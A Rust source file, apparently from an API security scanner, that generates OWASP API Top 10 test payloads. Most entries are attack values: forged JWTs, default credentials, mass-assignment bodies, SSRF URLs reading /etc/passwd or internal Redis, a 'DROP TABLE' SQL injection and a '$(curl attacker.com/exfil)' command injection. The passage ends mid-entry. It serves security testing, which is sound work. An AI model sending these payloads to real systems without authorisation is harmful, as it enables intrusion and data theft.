1use super::categories::OwaspCategory;
7use super::config::OwaspApiConfig;
8use serde::{Deserialize, Serialize};
9
10#[derive(Debug, Clone, Serialize, Deserialize)]
12pub struct OwaspPayload {
13 pub category: OwaspCategory,
15 pub description: String,
17 pub value: String,
19 pub injection_point: InjectionPoint,
21 pub expected_if_vulnerable: ExpectedBehavior,
23 #[serde(default)]
25 pub notes: Option<String>,
26}
27
28#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
30#[serde(rename_all = "snake_case")]
31pub enum InjectionPoint {
32 PathParam,
34 QueryParam,
36 Body,
38 Header,
40 Omit,
42 Modify,
44}
45
46#[derive(Debug, Clone, Serialize, Deserialize)]
48#[serde(rename_all = "snake_case")]
49pub enum ExpectedBehavior {
50 SuccessWhenShouldFail,
52 UnauthorizedDataAccess,
54 FieldAccepted,
56 NoRateLimiting,
58 InternalDataExposure,
60 EndpointExists,
62 MissingSecurityHeaders,
64 VerboseErrors,
66 Custom(String),
68}
69
70pub struct OwaspPayloadGenerator {
72 config: OwaspApiConfig,
73}
74
75impl OwaspPayloadGenerator {
76 pub fn new(config: OwaspApiConfig) -> Self {
78 Self { config }
79 }
80
81 pub fn generate_all(&self) -> Vec<OwaspPayload> {
83 let mut payloads = Vec::new();
84
85 for category in self.config.categories_to_test() {
86 payloads.extend(self.generate_for_category(category));
87 }
88
89 payloads
90 }
91
92 pub fn generate_for_category(&self, category: OwaspCategory) -> Vec<OwaspPayload> {
94 match category {
95 OwaspCategory::Api1Bola => self.generate_bola_payloads(),
96 OwaspCategory::Api2BrokenAuth => self.generate_auth_payloads(),
97 OwaspCategory::Api3BrokenObjectProperty => self.generate_property_payloads(),
98 OwaspCategory::Api4ResourceConsumption => self.generate_resource_payloads(),
99 OwaspCategory::Api5BrokenFunctionAuth => self.generate_function_auth_payloads(),
100 OwaspCategory::Api6SensitiveFlows => self.generate_flow_payloads(),
101 OwaspCategory::Api7Ssrf => self.generate_ssrf_payloads(),
102 OwaspCategory::Api8Misconfiguration => self.generate_misconfig_payloads(),
103 OwaspCategory::Api9ImproperInventory => self.generate_discovery_payloads(),
104 OwaspCategory::Api10UnsafeConsumption => self.generate_unsafe_consumption_payloads(),
105 }
106 }
107
108 fn generate_bola_payloads(&self) -> Vec<OwaspPayload> {
110 vec![
111 OwaspPayload {
113 category: OwaspCategory::Api1Bola,
114 description: "ID increment by 1".to_string(),
115 value: "{{original_id + 1}}".to_string(),
116 injection_point: InjectionPoint::PathParam,
117 expected_if_vulnerable: ExpectedBehavior::UnauthorizedDataAccess,
118 notes: Some("Replace ID with ID+1 to access other user's resource".to_string()),
119 },
120 OwaspPayload {
121 category: OwaspCategory::Api1Bola,
122 description: "ID decrement by 1".to_string(),
123 value: "{{original_id - 1}}".to_string(),
124 injection_point: InjectionPoint::PathParam,
125 expected_if_vulnerable: ExpectedBehavior::UnauthorizedDataAccess,
126 notes: Some("Replace ID with ID-1 to access other user's resource".to_string()),
127 },
128 OwaspPayload {
129 category: OwaspCategory::Api1Bola,
130 description: "First user ID (0)".to_string(),
131 value: "0".to_string(),
132 injection_point: InjectionPoint::PathParam,
133 expected_if_vulnerable: ExpectedBehavior::UnauthorizedDataAccess,
134 notes: Some("Try accessing resource with ID 0".to_string()),
135 },
136 OwaspPayload {
137 category: OwaspCategory::Api1Bola,
138 description: "First user ID (1)".to_string(),
139 value: "1".to_string(),
140 injection_point: InjectionPoint::PathParam,
141 expected_if_vulnerable: ExpectedBehavior::UnauthorizedDataAccess,
142 notes: Some("Try accessing resource with ID 1 (often admin)".to_string()),
143 },
144 OwaspPayload {
145 category: OwaspCategory::Api1Bola,
146 description: "Negative ID".to_string(),
147 value: "-1".to_string(),
148 injection_point: InjectionPoint::PathParam,
149 expected_if_vulnerable: ExpectedBehavior::UnauthorizedDataAccess,
150 notes: Some("Try accessing resource with negative ID".to_string()),
151 },
152 OwaspPayload {
153 category: OwaspCategory::Api1Bola,
154 description: "Large ID".to_string(),
155 value: "999999999".to_string(),
156 injection_point: InjectionPoint::PathParam,
157 expected_if_vulnerable: ExpectedBehavior::UnauthorizedDataAccess,
158 notes: None,
159 },
160 OwaspPayload {
162 category: OwaspCategory::Api1Bola,
163 description: "Null UUID".to_string(),
164 value: "00000000-0000-0000-0000-000000000000".to_string(),
165 injection_point: InjectionPoint::PathParam,
166 expected_if_vulnerable: ExpectedBehavior::UnauthorizedDataAccess,
167 notes: Some("Try null UUID which may match admin or default resource".to_string()),
168 },
169 OwaspPayload {
170 category: OwaspCategory::Api1Bola,
171 description: "All-ones UUID".to_string(),
172 value: "ffffffff-ffff-ffff-ffff-ffffffffffff".to_string(),
173 injection_point: InjectionPoint::PathParam,
174 expected_if_vulnerable: ExpectedBehavior::UnauthorizedDataAccess,
175 notes: None,
176 },
177 OwaspPayload {
179 category: OwaspCategory::Api1Bola,
180 description: "User ID in query parameter".to_string(),
181 value: "user_id=1".to_string(),
182 injection_point: InjectionPoint::QueryParam,
183 expected_if_vulnerable: ExpectedBehavior::UnauthorizedDataAccess,
184 notes: Some("Override user context via query parameter".to_string()),
185 },
186 OwaspPayload {
187 category: OwaspCategory::Api1Bola,
188 description: "Account ID in query parameter".to_string(),
189 value: "account_id=1".to_string(),
190 injection_point: InjectionPoint::QueryParam,
191 expected_if_vulnerable: ExpectedBehavior::UnauthorizedDataAccess,
192 notes: None,
193 },
194 ]
195 }
196
197 fn generate_auth_payloads(&self) -> Vec<OwaspPayload> {
199 vec![
200 OwaspPayload {
202 category: OwaspCategory::Api2BrokenAuth,
203 description: "No Authorization header".to_string(),
204 value: "".to_string(),
205 injection_point: InjectionPoint::Omit,
206 expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
207 notes: Some("Remove Authorization header entirely".to_string()),
208 },
209 OwaspPayload {
210 category: OwaspCategory::Api2BrokenAuth,
211 description: "Empty Bearer token".to_string(),
212 value: "Bearer ".to_string(),
213 injection_point: InjectionPoint::Header,
214 expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
215 notes: Some("Send Bearer prefix with no token".to_string()),
216 },
217 OwaspPayload {
218 category: OwaspCategory::Api2BrokenAuth,
219 description: "Invalid token (garbage)".to_string(),
220 value: "Bearer invalidtoken123".to_string(),
221 injection_point: InjectionPoint::Header,
222 expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
223 notes: None,
224 },
225 OwaspPayload {
227 category: OwaspCategory::Api2BrokenAuth,
228 description: "JWT alg:none attack".to_string(),
229 value: "Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.".to_string(),
230 injection_point: InjectionPoint::Header,
231 expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
232 notes: Some("JWT with algorithm set to 'none'".to_string()),
233 },
234 OwaspPayload {
235 category: OwaspCategory::Api2BrokenAuth,
236 description: "JWT with admin claim".to_string(),
237 value: "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.stub".to_string(),
238 injection_point: InjectionPoint::Header,
239 expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
240 notes: Some("JWT with role:admin claim (unsigned)".to_string()),
241 },
242 OwaspPayload {
243 category: OwaspCategory::Api2BrokenAuth,
244 description: "Expired JWT".to_string(),
245 value: "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwiZXhwIjoxMDAwMDAwMDAwfQ.stub".to_string(),
246 injection_point: InjectionPoint::Header,
247 expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
248 notes: Some("JWT with expired timestamp".to_string()),
249 },
250 OwaspPayload {
252 category: OwaspCategory::Api2BrokenAuth,
253 description: "Basic auth with admin:admin".to_string(),
254 value: "Basic YWRtaW46YWRtaW4=".to_string(), injection_point: InjectionPoint::Header,
256 expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
257 notes: Some("Common default credentials".to_string()),
258 },
259 OwaspPayload {
260 category: OwaspCategory::Api2BrokenAuth,
261 description: "Basic auth with admin:password".to_string(),
262 value: "Basic YWRtaW46cGFzc3dvcmQ=".to_string(), injection_point: InjectionPoint::Header,
264 expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
265 notes: None,
266 },
267 OwaspPayload {
269 category: OwaspCategory::Api2BrokenAuth,
270 description: "Empty API key".to_string(),
271 value: "".to_string(),
272 injection_point: InjectionPoint::Header,
273 expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
274 notes: Some("X-API-Key header with empty value".to_string()),
275 },
276 OwaspPayload {
277 category: OwaspCategory::Api2BrokenAuth,
278 description: "Test API key".to_string(),
279 value: "test".to_string(),
280 injection_point: InjectionPoint::Header,
281 expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
282 notes: Some("Common test/development API key".to_string()),
283 },
284 ]
285 }
286
287 fn generate_property_payloads(&self) -> Vec<OwaspPayload> {
289 vec![
290 OwaspPayload {
292 category: OwaspCategory::Api3BrokenObjectProperty,
293 description: "Add admin role".to_string(),
294 value: r#"{"role": "admin"}"#.to_string(),
295 injection_point: InjectionPoint::Body,
296 expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
297 notes: Some("Mass assignment of admin role".to_string()),
298 },
299 OwaspPayload {
300 category: OwaspCategory::Api3BrokenObjectProperty,
301 description: "Set is_admin flag".to_string(),
302 value: r#"{"is_admin": true}"#.to_string(),
303 injection_point: InjectionPoint::Body,
304 expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
305 notes: None,
306 },
307 OwaspPayload {
308 category: OwaspCategory::Api3BrokenObjectProperty,
309 description: "Set isAdmin flag".to_string(),
310 value: r#"{"isAdmin": true}"#.to_string(),
311 injection_point: InjectionPoint::Body,
312 expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
313 notes: None,
314 },
315 OwaspPayload {
316 category: OwaspCategory::Api3BrokenObjectProperty,
317 description: "Set permissions array".to_string(),
318 value: r#"{"permissions": ["admin", "write", "delete"]}"#.to_string(),
319 injection_point: InjectionPoint::Body,
320 expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
321 notes: None,
322 },
323 OwaspPayload {
325 category: OwaspCategory::Api3BrokenObjectProperty,
326 description: "Set verified flag".to_string(),
327 value: r#"{"verified": true}"#.to_string(),
328 injection_point: InjectionPoint::Body,
329 expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
330 notes: None,
331 },
332 OwaspPayload {
333 category: OwaspCategory::Api3BrokenObjectProperty,
334 description: "Set email_verified flag".to_string(),
335 value: r#"{"email_verified": true}"#.to_string(),
336 injection_point: InjectionPoint::Body,
337 expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
338 notes: None,
339 },
340 OwaspPayload {
342 category: OwaspCategory::Api3BrokenObjectProperty,
343 description: "Modify balance".to_string(),
344 value: r#"{"balance": 999999}"#.to_string(),
345 injection_point: InjectionPoint::Body,
346 expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
347 notes: Some("Mass assignment of account balance".to_string()),
348 },
349 OwaspPayload {
350 category: OwaspCategory::Api3BrokenObjectProperty,
351 description: "Modify credits".to_string(),
352 value: r#"{"credits": 999999}"#.to_string(),
353 injection_point: InjectionPoint::Body,
354 expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
355 notes: None,
356 },
357 OwaspPayload {
358 category: OwaspCategory::Api3BrokenObjectProperty,
359 description: "Set price to zero".to_string(),
360 value: r#"{"price": 0}"#.to_string(),
361 injection_point: InjectionPoint::Body,
362 expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
363 notes: None,
364 },
365 OwaspPayload {
367 category: OwaspCategory::Api3BrokenObjectProperty,
368 description: "Set password directly".to_string(),
369 value: r#"{"password": "newpassword123"}"#.to_string(),
370 injection_point: InjectionPoint::Body,
371 expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
372 notes: Some("Direct password field assignment".to_string()),
373 },
374 OwaspPayload {
375 category: OwaspCategory::Api3BrokenObjectProperty,
376 description: "Set password_hash".to_string(),
377 value: r#"{"password_hash": "$2a$10$attackerhash"}"#.to_string(),
378 injection_point: InjectionPoint::Body,
379 expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
380 notes: None,
381 },
382 OwaspPayload {
384 category: OwaspCategory::Api3BrokenObjectProperty,
385 description: "Modify user_id".to_string(),
386 value: r#"{"user_id": 1}"#.to_string(),
387 injection_point: InjectionPoint::Body,
388 expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
389 notes: Some("Reassign resource to different user".to_string()),
390 },
391 OwaspPayload {
392 category: OwaspCategory::Api3BrokenObjectProperty,
393 description: "Modify created_at".to_string(),
394 value: r#"{"created_at": "2020-01-01T00:00:00Z"}"#.to_string(),
395 injection_point: InjectionPoint::Body,
396 expected_if_vulnerable: ExpectedBehavior::FieldAccepted,
397 notes: Some("Modify internal timestamp".to_string()),
398 },
399 ]
400 }
401
402 fn generate_resource_payloads(&self) -> Vec<OwaspPayload> {
404 vec![
405 OwaspPayload {
407 category: OwaspCategory::Api4ResourceConsumption,
408 description: "Excessive page limit".to_string(),
409 value: "limit=100000".to_string(),
410 injection_point: InjectionPoint::QueryParam,
411 expected_if_vulnerable: ExpectedBehavior::NoRateLimiting,
412 notes: Some("Request excessive records per page".to_string()),
413 },
414 OwaspPayload {
415 category: OwaspCategory::Api4ResourceConsumption,
416 description: "Alternative limit parameter".to_string(),
417 value: "per_page=100000".to_string(),
418 injection_point: InjectionPoint::QueryParam,
419 expected_if_vulnerable: ExpectedBehavior::NoRateLimiting,
420 notes: None,
421 },
422 OwaspPayload {
423 category: OwaspCategory::Api4ResourceConsumption,
424 description: "Page size abuse".to_string(),
425 value: "page_size=100000".to_string(),
426 injection_point: InjectionPoint::QueryParam,
427 expected_if_vulnerable: ExpectedBehavior::NoRateLimiting,
428 notes: None,
429 },
430 OwaspPayload {
431 category: OwaspCategory::Api4ResourceConsumption,
432 description: "Size parameter".to_string(),
433 value: "size=100000".to_string(),
434 injection_point: InjectionPoint::QueryParam,
435 expected_if_vulnerable: ExpectedBehavior::NoRateLimiting,
436 notes: None,
437 },
438 OwaspPayload {
440 category: OwaspCategory::Api4ResourceConsumption,
441 description: "Negative limit".to_string(),
442 value: "limit=-1".to_string(),
443 injection_point: InjectionPoint::QueryParam,
444 expected_if_vulnerable: ExpectedBehavior::NoRateLimiting,
445 notes: Some("Negative limit may return all records".to_string()),
446 },
447 OwaspPayload {
449 category: OwaspCategory::Api4ResourceConsumption,
450 description: "Deeply nested JSON".to_string(),
451 value: Self::generate_deep_json(100),
452 injection_point: InjectionPoint::Body,
453 expected_if_vulnerable: ExpectedBehavior::NoRateLimiting,
454 notes: Some("100 levels of nesting".to_string()),
455 },
456 OwaspPayload {
458 category: OwaspCategory::Api4ResourceConsumption,
459 description: "Very long string value".to_string(),
460 value: format!(r#"{{"data": "{}"}}"#, "A".repeat(100_000)),
461 injection_point: InjectionPoint::Body,
462 expected_if_vulnerable: ExpectedBehavior::NoRateLimiting,
463 notes: Some("100KB string value".to_string()),
464 },
465 OwaspPayload {
467 category: OwaspCategory::Api4ResourceConsumption,
468 description: "Large array".to_string(),
469 value: format!(
470 r#"{{"items": [{}]}}"#,
471 (0..10000).map(|i| i.to_string()).collect::<Vec<_>>().join(",")
472 ),
473 injection_point: InjectionPoint::Body,
474 expected_if_vulnerable: ExpectedBehavior::NoRateLimiting,
475 notes: Some("Array with 10000 elements".to_string()),
476 },
477 OwaspPayload {
479 category: OwaspCategory::Api4ResourceConsumption,
480 description: "Wildcard expansion".to_string(),
481 value: "expand=*".to_string(),
482 injection_point: InjectionPoint::QueryParam,
483 expected_if_vulnerable: ExpectedBehavior::NoRateLimiting,
484 notes: Some("Expand all nested resources".to_string()),
485 },
486 OwaspPayload {
487 category: OwaspCategory::Api4ResourceConsumption,
488 description: "Include all relations".to_string(),
489 value: "include=*".to_string(),
490 injection_point: InjectionPoint::QueryParam,
491 expected_if_vulnerable: ExpectedBehavior::NoRateLimiting,
492 notes: None,
493 },
494 ]
495 }
496
497 fn generate_function_auth_payloads(&self) -> Vec<OwaspPayload> {
499 let mut payloads = Vec::new();
500
501 for path in self.config.all_admin_paths() {
503 payloads.push(OwaspPayload {
504 category: OwaspCategory::Api5BrokenFunctionAuth,
505 description: format!("Access admin path: {}", path),
506 value: path.to_string(),
507 injection_point: InjectionPoint::PathParam,
508 expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
509 notes: Some("Attempt to access privileged endpoint with regular auth".to_string()),
510 });
511 }
512
513 payloads.extend(vec![
515 OwaspPayload {
516 category: OwaspCategory::Api5BrokenFunctionAuth,
517 description: "DELETE on read-only resource".to_string(),
518 value: "DELETE".to_string(),
519 injection_point: InjectionPoint::Modify,
520 expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
521 notes: Some("Try DELETE method on supposedly read-only resource".to_string()),
522 },
523 OwaspPayload {
524 category: OwaspCategory::Api5BrokenFunctionAuth,
525 description: "PUT on read-only resource".to_string(),
526 value: "PUT".to_string(),
527 injection_point: InjectionPoint::Modify,
528 expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
529 notes: None,
530 },
531 OwaspPayload {
532 category: OwaspCategory::Api5BrokenFunctionAuth,
533 description: "PATCH on read-only resource".to_string(),
534 value: "PATCH".to_string(),
535 injection_point: InjectionPoint::Modify,
536 expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
537 notes: None,
538 },
539 ]);
540
541 payloads
542 }
543
544 fn generate_flow_payloads(&self) -> Vec<OwaspPayload> {
546 vec![
547 OwaspPayload {
549 category: OwaspCategory::Api6SensitiveFlows,
550 description: "Repeated operation (rate test)".to_string(),
551 value: "{{repeat:10}}".to_string(),
552 injection_point: InjectionPoint::Modify,
553 expected_if_vulnerable: ExpectedBehavior::NoRateLimiting,
554 notes: Some("Execute same operation 10 times rapidly".to_string()),
555 },
556 OwaspPayload {
558 category: OwaspCategory::Api6SensitiveFlows,
559 description: "Reuse one-time token".to_string(),
560 value: "{{reuse_token}}".to_string(),
561 injection_point: InjectionPoint::Body,
562 expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
563 notes: Some("Attempt to reuse a token that should be single-use".to_string()),
564 },
565 OwaspPayload {
567 category: OwaspCategory::Api6SensitiveFlows,
568 description: "Skip validation step".to_string(),
569 value: "{{skip_step:validation}}".to_string(),
570 injection_point: InjectionPoint::Modify,
571 expected_if_vulnerable: ExpectedBehavior::SuccessWhenShouldFail,
572 notes: Some("Skip intermediate validation step in multi-step flow".to_string()),
573 },
574 OwaspPayload {
576 category: OwaspCategory::Api6SensitiveFlows,
577 description: "Negative quantity".to_string(),
578 value: r#"{"quantity": -1}"#.to_string(),
579 injection_point: InjectionPoint::Body,
580 expected_if_vulnerable: ExpectedBehavior::Custom(
581 "Negative quantity accepted".to_string(),
582 ),
583 notes: Some("Submit negative quantity in purchase/transfer".to_string()),
584 },
585 OwaspPayload {
586 category: OwaspCategory::Api6SensitiveFlows,
587 description: "Zero price".to_string(),
588 value: r#"{"price": 0}"#.to_string(),
589 injection_point: InjectionPoint::Body,
590 expected_if_vulnerable: ExpectedBehavior::Custom("Zero price accepted".to_string()),
591 notes: None,
592 },
593 OwaspPayload {
594 category: OwaspCategory::Api6SensitiveFlows,
595 description: "Negative amount".to_string(),
596 value: r#"{"amount": -100}"#.to_string(),
597 injection_point: InjectionPoint::Body,
598 expected_if_vulnerable: ExpectedBehavior::Custom(
599 "Negative amount accepted".to_string(),
600 ),
601 notes: Some("Submit negative amount in transfer/payment".to_string()),
602 },
603 ]
604 }
605
606 fn generate_ssrf_payloads(&self) -> Vec<OwaspPayload> {
608 let mut payloads = Vec::new();
609
610 for url in &self.config.ssrf_config.internal_urls {
612 payloads.push(OwaspPayload {
613 category: OwaspCategory::Api7Ssrf,
614 description: format!("Internal URL: {}", url),
615 value: url.clone(),
616 injection_point: InjectionPoint::Body,
617 expected_if_vulnerable: ExpectedBehavior::InternalDataExposure,
618 notes: Some("SSRF to internal service".to_string()),
619 });
620 }
621
622 for url in &self.config.ssrf_config.metadata_urls {
624 payloads.push(OwaspPayload {
625 category: OwaspCategory::Api7Ssrf,
626 description: format!("Cloud metadata: {}", url),
627 value: url.clone(),
628 injection_point: InjectionPoint::Body,
629 expected_if_vulnerable: ExpectedBehavior::InternalDataExposure,
630 notes: Some("SSRF to cloud metadata endpoint".to_string()),
631 });
632 }
633
634 payloads.extend(vec![
636 OwaspPayload {
637 category: OwaspCategory::Api7Ssrf,
638 description: "Decimal IP for localhost".to_string(),
639 value: "http://2130706433/".to_string(), injection_point: InjectionPoint::Body,
641 expected_if_vulnerable: ExpectedBehavior::InternalDataExposure,
642 notes: Some("127.0.0.1 encoded as decimal integer".to_string()),
643 },
644 OwaspPayload {
645 category: OwaspCategory::Api7Ssrf,
646 description: "IPv6 localhost".to_string(),
647 value: "http://[0:0:0:0:0:0:0:1]/".to_string(),
648 injection_point: InjectionPoint::Body,
649 expected_if_vulnerable: ExpectedBehavior::InternalDataExposure,
650 notes: None,
651 },
652 OwaspPayload {
653 category: OwaspCategory::Api7Ssrf,
654 description: "Localhost subdomain bypass".to_string(),
655 value: "http://localhost.attacker.com/".to_string(),
656 injection_point: InjectionPoint::Body,
657 expected_if_vulnerable: ExpectedBehavior::InternalDataExposure,
658 notes: Some("DNS rebinding via attacker-controlled subdomain".to_string()),
659 },
660 OwaspPayload {
661 category: OwaspCategory::Api7Ssrf,
662 description: "URL with @ bypass".to_string(),
663 value: "http://attacker.com@127.0.0.1/".to_string(),
664 injection_point: InjectionPoint::Body,
665 expected_if_vulnerable: ExpectedBehavior::InternalDataExposure,
666 notes: Some("URL parser confusion with @ sign".to_string()),
667 },
668 OwaspPayload {
669 category: OwaspCategory::Api7Ssrf,
670 description: "File protocol".to_string(),
671 value: "file:///etc/passwd".to_string(),
672 injection_point: InjectionPoint::Body,
673 expected_if_vulnerable: ExpectedBehavior::InternalDataExposure,
674 notes: Some("File protocol SSRF".to_string()),
675 },
676 OwaspPayload {
677 category: OwaspCategory::Api7Ssrf,
678 description: "Gopher protocol".to_string(),
679 value: "gopher://127.0.0.1:6379/_INFO".to_string(),
680 injection_point: InjectionPoint::Body,
681 expected_if_vulnerable: ExpectedBehavior::InternalDataExposure,
682 notes: Some("Gopher protocol to internal Redis".to_string()),
683 },
684 ]);
685
686 payloads
687 }
688
689 fn generate_misconfig_payloads(&self) -> Vec<OwaspPayload> {
691 vec![
692 OwaspPayload {
694 category: OwaspCategory::Api8Misconfiguration,
695 description: "Check X-Content-Type-Options header".to_string(),
696 value: "X-Content-Type-Options".to_string(),
697 injection_point: InjectionPoint::Modify,
698 expected_if_vulnerable: ExpectedBehavior::MissingSecurityHeaders,
699 notes: Some("Response should include X-Content-Type-Options: nosniff".to_string()),
700 },
701 OwaspPayload {
702 category: OwaspCategory::Api8Misconfiguration,
703 description: "Check X-Frame-Options header".to_string(),
704 value: "X-Frame-Options".to_string(),
705 injection_point: InjectionPoint::Modify,
706 expected_if_vulnerable: ExpectedBehavior::MissingSecurityHeaders,
707 notes: Some(
708 "Response should include X-Frame-Options: DENY or SAMEORIGIN".to_string(),
709 ),
710 },
711 OwaspPayload {
712 category: OwaspCategory::Api8Misconfiguration,
713 description: "Check Strict-Transport-Security header".to_string(),
714 value: "Strict-Transport-Security".to_string(),
715 injection_point: InjectionPoint::Modify,
716 expected_if_vulnerable: ExpectedBehavior::MissingSecurityHeaders,
717 notes: Some("HTTPS endpoints should have HSTS header".to_string()),
718 },
719 OwaspPayload {
720 category: OwaspCategory::Api8Misconfiguration,
721 description: "Check Content-Security-Policy header".to_string(),
722 value: "Content-Security-Policy".to_string(),
723 injection_point: InjectionPoint::Modify,
724 expected_if_vulnerable: ExpectedBehavior::MissingSecurityHeaders,
725 notes: None,
726 },
727 OwaspPayload {
729 category: OwaspCategory::Api8Misconfiguration,
730 description: "CORS wildcard check".to_string(),
731 value: "Origin: https://evil.com".to_string(),
732 injection_point: InjectionPoint::Header,
733 expected_if_vulnerable: ExpectedBehavior::Custom(
734 "ACAO: * or reflecting arbitrary origin".to_string(),
735 ),
736 notes: Some(
737 "Check if Access-Control-Allow-Origin allows arbitrary origins".to_string(),
738 ),
739 },
740 OwaspPayload {
741 category: OwaspCategory::Api8Misconfiguration,
742 description: "CORS null origin".to_string(),
743 value: "Origin: null".to_string(),
744 injection_point: InjectionPoint::Header,
745 expected_if_vulnerable: ExpectedBehavior::Custom("ACAO: null".to_string()),
746 notes: Some("Check if null origin is reflected".to_string()),
747 },
748 OwaspPayload {
750 category: OwaspCategory::Api8Misconfiguration,
751 description: "Trigger verbose error".to_string(),
752 value: r#"{"invalid": "{{INVALID_JSON"#.to_string(),
753 injection_point: InjectionPoint::Body,
754 expected_if_vulnerable: ExpectedBehavior::VerboseErrors,
755 notes: Some("Send malformed JSON to trigger error response".to_string()),
756 },
757 OwaspPayload {
758 category: OwaspCategory::Api8Misconfiguration,
759 description: "SQL syntax error trigger".to_string(),
760 value: "'".to_string(),
761 injection_point: InjectionPoint::QueryParam,
762 expected_if_vulnerable: ExpectedBehavior::VerboseErrors,
763 notes: Some("Check if SQL errors are exposed".to_string()),
764 },
765 OwaspPayload {
767 category: OwaspCategory::Api8Misconfiguration,
768 description: "Debug mode check".to_string(),
769 value: "debug=true".to_string(),
770 injection_point: InjectionPoint::QueryParam,
771 expected_if_vulnerable: ExpectedBehavior::Custom("Debug info exposed".to_string()),
772 notes: Some("Check if debug parameter enables additional output".to_string()),
773 },
774 OwaspPayload {
775 category: OwaspCategory::Api8Misconfiguration,
776 description: "Trace mode check".to_string(),
777 value: "trace=1".to_string(),
778 injection_point: InjectionPoint::QueryParam,
779 expected_if_vulnerable: ExpectedBehavior::Custom("Trace info exposed".to_string()),
780 notes: None,
781 },
782 ]
783 }
784
785 fn generate_discovery_payloads(&self) -> Vec<OwaspPayload> {
787 let mut payloads = Vec::new();
788
789 for version in &self.config.discovery_config.api_versions {
791 payloads.push(OwaspPayload {
792 category: OwaspCategory::Api9ImproperInventory,
793 description: format!("Discover API version: {}", version),
794 value: format!("/{}/", version),
795 injection_point: InjectionPoint::PathParam,
796 expected_if_vulnerable: ExpectedBehavior::EndpointExists,
797 notes: Some("Check for undocumented API version".to_string()),
798 });
799 }
800
801 for path in &self.config.discovery_config.discovery_paths {
803 payloads.push(OwaspPayload {
804 category: OwaspCategory::Api9ImproperInventory,
805 description: format!("Discover endpoint: {}", path),
806 value: path.clone(),
807 injection_point: InjectionPoint::PathParam,
808 expected_if_vulnerable: ExpectedBehavior::EndpointExists,
809 notes: Some("Check for undocumented endpoint".to_string()),
810 });
811 }
812
813 payloads.extend(vec![
815 OwaspPayload {
816 category: OwaspCategory::Api9ImproperInventory,
817 description: "Old API prefix".to_string(),
818 value: "/old/".to_string(),
819 injection_point: InjectionPoint::PathParam,
820 expected_if_vulnerable: ExpectedBehavior::EndpointExists,
821 notes: None,
822 },
823 OwaspPayload {
824 category: OwaspCategory::Api9ImproperInventory,
825 description: "Legacy API prefix".to_string(),
826 value: "/legacy/".to_string(),
827 injection_point: InjectionPoint::PathParam,
828 expected_if_vulnerable: ExpectedBehavior::EndpointExists,
829 notes: None,
830 },
831 OwaspPayload {
832 category: OwaspCategory::Api9ImproperInventory,
833 description: "Beta API prefix".to_string(),
834 value: "/beta/".to_string(),
835 injection_point: InjectionPoint::PathParam,
836 expected_if_vulnerable: ExpectedBehavior::EndpointExists,
837 notes: None,
838 },
839 OwaspPayload {
840 category: OwaspCategory::Api9ImproperInventory,
841 description: "Staging API prefix".to_string(),
842 value: "/staging/".to_string(),
843 injection_point: InjectionPoint::PathParam,
844 expected_if_vulnerable: ExpectedBehavior::EndpointExists,
845 notes: None,
846 },
847 ]);
848
849 payloads
850 }
851
852 fn generate_unsafe_consumption_payloads(&self) -> Vec<OwaspPayload> {
854 vec![
855 OwaspPayload {
857 category: OwaspCategory::Api10UnsafeConsumption,
858 description: "Webhook URL injection (internal)".to_string(),
859 value: r#"{"webhook_url": "http://127.0.0.1:8080/internal"}"#.to_string(),
860 injection_point: InjectionPoint::Body,
861 expected_if_vulnerable: ExpectedBehavior::InternalDataExposure,
862 notes: Some("Inject internal URL as webhook destination".to_string()),
863 },
864 OwaspPayload {
865 category: OwaspCategory::Api10UnsafeConsumption,
866 description: "Callback URL injection".to_string(),
867 value: r#"{"callback_url": "http://attacker.com/collect"}"#.to_string(),
868 injection_point: InjectionPoint::Body,
869 expected_if_vulnerable: ExpectedBehavior::Custom("Callback made to attacker".to_string()),
870 notes: None,
871 },
872 OwaspPayload {
874 category: OwaspCategory::Api10UnsafeConsumption,
875 description: "SQL injection in third-party field".to_string(),
876 value: r#"{"external_id": "'; DROP TABLE users;--"}"#.to_string(),
877 injection_point: InjectionPoint::Body,
878 expected_if_vulnerable: ExpectedBehavior::Custom("Payload passed unsanitized".to_string()),
879 notes: Some("Injection payload in field passed to external service".to_string()),
880 },
881 OwaspPayload {
882 category: OwaspCategory::Api10UnsafeConsumption,
883 description: "Command injection in integration field".to_string(),
884 value: r#"{"integration_data": "$(curl attacker.com/exfil)"}"#.to_string(),
885 injection_point: InjectionPoint::Body,
886 expected_if_vulnerable: ExpectedBehavior::Custom("Command execution".to_string()),
887 notes: None,
888 },
889 OwaspPayload {
890 category: OwaspCategory::Api10UnsafeConsumption,
891 description: "SSTI in template field".to_string(),
